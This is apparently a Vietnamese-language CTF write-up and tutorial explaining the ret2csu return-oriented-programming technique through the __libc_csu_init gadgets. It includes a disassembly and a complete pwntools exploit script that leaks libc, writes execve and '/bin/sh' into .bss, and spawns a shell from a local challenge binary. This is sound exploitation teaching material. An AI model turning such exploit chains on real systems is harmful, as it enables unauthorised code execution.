ret2csu là kỹ thuật được sử dụng khi ta không có đầy đủ gadget cần thiết để thực hiện rop chain. Đây chính là gadget luôn có khi compile dynamic một binary. Bài này mình sẽ giới thiệu về kỹ thuật này thông qua một challenge.
Khi chạy chương trình, không chỉ có các đoạn code của ta được thực thì mà còn có các đoạn code mặc định được thêm vào. Những đoạn code này nhằm mục đích khởi tạo các giá trị môi trường, load thông tin về những phần được thực thi cũng như "huỷ" nó khi kết thúc chương trình.
Đây là thứ tự chương trình chạy khi trace từ entry point và ở đây ta cần chú ý đến hàm __libc_csu_init
.
Khi ta disass hàm này thì có một vài gadget thú vị
gef➤ disass __libc_csu_init
Dump of assembler code for function __libc_csu_init:
0x00000000004011b0 <+0>: endbr64
0x00000000004011b4 <+4>: push r15
0x00000000004011b6 <+6>: lea r15,[rip+0x2c53] # 0x403e10
0x00000000004011bd <+13>: push r14
0x00000000004011bf <+15>: mov r14,rdx
0x00000000004011c2 <+18>: push r13
0x00000000004011c4 <+20>: mov r13,rsi
0x00000000004011c7 <+23>: push r12
0x00000000004011c9 <+25>: mov r12d,edi
0x00000000004011cc <+28>: push rbp
0x00000000004011cd <+29>: lea rbp,[rip+0x2c44] # 0x403e18
0x00000000004011d4 <+36>: push rbx
0x00000000004011d5 <+37>: sub rbp,r15
0x00000000004011d8 <+40>: sub rsp,0x8
0x00000000004011dc <+44>: call 0x401000 <_init>
0x00000000004011e1 <+49>: sar rbp,0x3
0x00000000004011e5 <+53>: je 0x401206 <__libc_csu_init+86>
0x00000000004011e7 <+55>: xor ebx,ebx
0x00000000004011e9 <+57>: nop DWORD PTR [rax+0x0]
0x00000000004011f0 <+64>: mov rdx,r14
0x00000000004011f3 <+67>: mov rsi,r13
0x00000000004011f6 <+70>: mov edi,r12d
0x00000000004011f9 <+73>: call QWORD PTR [r15+rbx*8]
0x00000000004011fd <+77>: add rbx,0x1
0x0000000000401201 <+81>: cmp rbp,rbx
0x0000000000401204 <+84>: jne 0x4011f0 <__libc_csu_init+64>
0x0000000000401206 <+86>: add rsp,0x8
0x000000000040120a <+90>: pop rbx
0x000000000040120b <+91>: pop rbp
0x000000000040120c <+92>: pop r12
0x000000000040120e <+94>: pop r13
0x0000000000401210 <+96>: pop r14
0x0000000000401212 <+98>: pop r15
0x0000000000401214 <+100>: ret
End of assembler dump.
Mình lần lượt lable 2 gadget này như trên ảnh. Ở đây ta nhận thấy rằng ta có thể điều khiển được một vài register và bằng việc chain gadget1 -> gadget2 thì ta có thể call được địa chỉ mà ta muốn
Do tính bá đạo của nó vì có mặt ở hầu hết các binary nên đã được xoá từ glibc 2.34
Đây là thông tin tóm tắt về một số giá trị của register
Do sau đó nó sẽ gọi call qword [r15 + rbx*8]
nên để đơn giản ta cho rbx = 0
để khỏi tính toán
Ngoài ra ta để ý rằng nếu ta chain gadget 1 -> gadget2 thì nếu ta cho các register đúng như các giá trị của ảnh trên thì nó sẽ thực thi lại gadget1 vì các lệnh sau:
add rbx,0x1
cmp rbp,rbx
jne 0x4011f0 <__libc_csu_init+64>
Do đó ta hoàn toàn có thể loop lại chương trình để tiếp tục gọi đến nó.
Lưu ý:
r15+rbx*8
phải chứa địa chỉ trỏ đến địa chỉ ta muốn callỞ đây ta có một file binary
Dễ dàng thấy được đây có lỗi bof
Ở đây mình sẽ giải bài này theo kiểu ret2csu.
Vào ida ta thấy có hàm __libc_csu_init
là biết được ta có thể sài kỹ thuật này.
Tiếp theo vào gdb tìm địa chỉ của gadget 1 và 2
part1 = 0x000000000040120a
part2 = 0x00000000004011f0
ret = 0x000000000040101a
Hướng khai thác lúc này của ta như sau:
/bin/sh
. Ở đây ta không thể sài địa chỉ /bin/sh
ở libc được vì nó hơn 4 byte (vì ta chỉ có thể control edi)Đầu tiên ta leak libc:
payload = b'a'*56+ p64(part1)
payload += p64(0)+p64(1)+p64(1)+p64(exe.got['write'])+p64(8)+p64(exe.got['write'])
payload += p64(part2)
payload += p64(0)*7 +p64(exe.sym['vuln'])
p.send(payload)
p.recvuntil(b'Enter Data - ')
leak =u64(p.recvn(8))
libc.address = leak - 1014464
print("LEAK " , hex(libc.address))
Ở đây mình leak địa chỉ của write. Ta để ý rằng có
p64(0)*7 +p64(exe.sym['vuln'])
Do nó sẽ thực thi lại gadget1 nên ta cần 6 cái p64 để fill 6 cái register, 1 còn lại cái là padding. Sau đó nó lại tiếp tục chạy về hàm vuln
Ta thực hiện tương tự để overwrite bss thành execve
payload =b'a'*56 + p64(part1)
payload += p64(0)+p64(1)+p64(0)+p64(exe.bss())+p64(8)+p64(exe.got['read'])
payload += p64(part2)
payload += p64(0)*7 + p64(exe.sym['vuln'])
p.send(payload)
time.sleep(1)
p.send(p64(libc.sym['execve']))
Tiếp theo là ghi /bin/sh
payload =b'a'*56 + p64(part1)
payload += p64(0)+p64(1)+p64(0)+p64(exe.bss()+0x20)+p64(8)+p64(exe.got['read'])
payload += p64(part2)
payload += p64(0)*7 + p64(exe.sym['vuln'])
p.send(payload)
time.sleep(1)
p.send(b'/bin/sh\x00')
Cuối cùng là gọi lại bss để lấy shell.
payload = b'a'*56+p64(part1)
payload += p64(0)+p64(1)+p64(exe.bss()+0x20) +p64(0)*2+p64(exe.bss())
payload += p64(part2)
Phần này ta thấy là không cần quay lại vuln làm gì nên không cần fill lại register
Chạy thử thì ta có shell
Full script
from pwn import *
import time
exe = ELF("ret2csu")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process(exe.path)
part1 = 0x000000000040120a
part2 = 0x00000000004011f0
ret = 0x000000000040101a
payload = b'a'*56+ p64(part1)
payload += p64(0)+p64(1)+p64(1)+p64(exe.got['write'])+p64(8)+p64(exe.got['write'])
payload += p64(part2)
payload += p64(0)*7 +p64(exe.sym['vuln'])
p.send(payload)
p.recvuntil(b'Enter Data - ')
leak =u64(p.recvn(8))
libc.address = leak - 1014464
print("LEAK " , hex(libc.address))
payload =b'a'*56 + p64(part1)
payload += p64(0)+p64(1)+p64(0)+p64(exe.bss())+p64(8)+p64(exe.got['read'])
payload += p64(part2)
payload += p64(0)*7 + p64(exe.sym['vuln'])
p.send(payload)
time.sleep(1)
p.send(p64(libc.sym['execve']))
print("BSS ",hex(exe.bss()))
payload =b'a'*56 + p64(part1)
payload += p64(0)+p64(1)+p64(0)+p64(exe.bss()+0x20)+p64(8)+p64(exe.got['read'])
payload += p64(part2)
payload += p64(0)*7 + p64(exe.sym['vuln'])
p.send(payload)
time.sleep(1)
p.send(b'/bin/sh\x00')
payload = b'a'*56+p64(part1)
payload += p64(0)+p64(1)+p64(exe.bss()+0x20) +p64(0)*2+p64(exe.bss())
payload += p64(part2)
p.send(payload)
p.interactive()
Nhận xét: Dù ở đây glibc mình đang sài là bản 2.37 nhưng vẫn exploit được do binary này được compile ở bản mà __libc_csu_init vẫn còn khả dụng